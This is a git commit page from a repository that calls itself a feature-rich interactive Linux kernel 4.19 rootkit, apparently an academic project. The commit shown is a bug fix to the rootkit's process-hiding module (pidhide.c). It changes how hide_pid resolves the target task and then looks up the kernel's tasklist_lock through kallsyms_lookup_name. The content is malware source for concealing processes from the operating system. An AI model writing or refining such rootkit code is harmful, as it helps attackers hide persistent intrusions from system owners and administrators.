linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs
commit 26354795f185a55c46ff0f88a55659066e0c26e8
parent e38704872d1fe0632e99c5da65cbe259156d32ea
Author: deurzen <m.deurzen@tum.de>
Date:   Mon, 25 Jan 2021 03:37:38 +0100

fixes issues

Diffstat:

Mrootkit/src/pidhide.c | 10+++++++++-


1 file changed, 9 insertions(+), 1 deletion(-)

diff --git a/rootkit/src/pidhide.c b/rootkit/src/pidhide.c
@@ -77,7 +77,15 @@ hide_pid(pid_t pid)
 
     add_pid_to_list(hidden_pids_tail, pid);
 
-    struct task_struct *ts = pid_task(find_vpid(pid), PIDTYPE_PID);
+	struct pid* pid_struct;
+    pid_struct = find_get_pid(pid);
+
+	if(pid_struct == NULL)
+		return;
+
+    struct task_struct *ts;
+	ts = pid_task(pid_struct, PIDTYPE_PID);
+
     rwlock_t *rwlock = (rwlock_t *)kallsyms_lookup_name("tasklist_lock");
 
     if (!ts)